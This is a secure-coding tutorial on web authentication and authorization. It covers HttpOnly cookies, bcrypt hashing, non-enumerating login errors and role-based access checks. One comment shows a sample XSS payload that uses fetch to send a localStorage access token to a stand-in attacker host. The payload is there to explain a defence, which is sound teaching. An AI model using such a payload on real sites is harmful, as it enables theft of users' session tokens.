Implementing secure authentication and authorization

// ✅ Secure — HttpOnly cookie (server sets it, JS can't read it)
// Server response:
// Set-Cookie: access_token=eyJ...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900

// Browser automatically sends it with every request to the same origin
// No JavaScript code needed to attach the token

// ✅ Refresh token — HttpOnly cookie with restricted path
// Set-Cookie: refresh_token=abc...; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800
// Only sent to the refresh endpoint — not exposed to other routes

// ❌ Vulnerable — localStorage (any XSS can steal it)
localStorage.setItem('access_token', token);
// If attacker injects: fetch('https://evil.com/steal?t=' + localStorage.getItem('access_token'))
// Your token is gone

// ⚠️ If you must use localStorage (e.g., calling third-party APIs):
// - Keep access tokens very short-lived (5 min)
// - Implement strict Content Security Policy
// - Sanitize all user input to prevent XSS

import bcrypt from 'bcrypt';

const SALT_ROUNDS = 12; // ~250ms on modern hardware

// Registration — hash the password before storing
async function registerUser(email: string, password: string) {
  // Validate password strength first
  if (password.length < 8) throw new Error('Password too short');

  // bcrypt generates a unique salt and hashes in one step
  const passwordHash = await bcrypt.hash(password, SALT_ROUNDS);

  // Store the hash — NEVER the plain password
  await db.insert('users', { email, password_hash: passwordHash });
}

// Login — compare submitted password against stored hash
async function loginUser(email: string, password: string) {
  const user = await db.findByEmail(email);
  if (!user) {
    // Don't reveal whether email exists — same error for both cases
    throw new Error('Invalid credentials');
  }

  const isValid = await bcrypt.compare(password, user.password_hash);
  if (!isValid) {
    throw new Error('Invalid credentials'); // Same message — no enumeration
  }

  return generateTokens(user);
}

// Role-Based Access Control (RBAC)
type Role = 'admin' | 'editor' | 'viewer';

const PERMISSIONS: Record<Role, string[]> = {
  admin: ['read', 'write', 'delete', 'manage_users'],
  editor: ['read', 'write'],
  viewer: ['read'],
};

function authorize(userRole: Role, requiredPermission: string): boolean {
  return PERMISSIONS[userRole].includes(requiredPermission);
}

// Middleware example — check authorization on every request
async function authMiddleware(request: Request, requiredPermission: string) {
  // 1. Extract and validate token
  const token = request.headers.get('Authorization')?.replace('Bearer ', '');
  if (!token) return new Response('Unauthorized', { status: 401 });

  const payload = verifyToken(token);
  if (!payload) return new Response('Unauthorized', { status: 401 });

  // 2. Check authorization
  if (!authorize(payload.role, requiredPermission)) {
    return new Response('Forbidden', { status: 403 });
  }

  // 3. Proceed with the request
  return null; // No error — authorized
}

// Resource-level authorization (ownership check)
async function canEditPost(userId: string, postId: string): boolean {
  const post = await db.getPost(postId);
  // User can edit if they own it OR are an admin
  return post.authorId === userId || (await isAdmin(userId));
}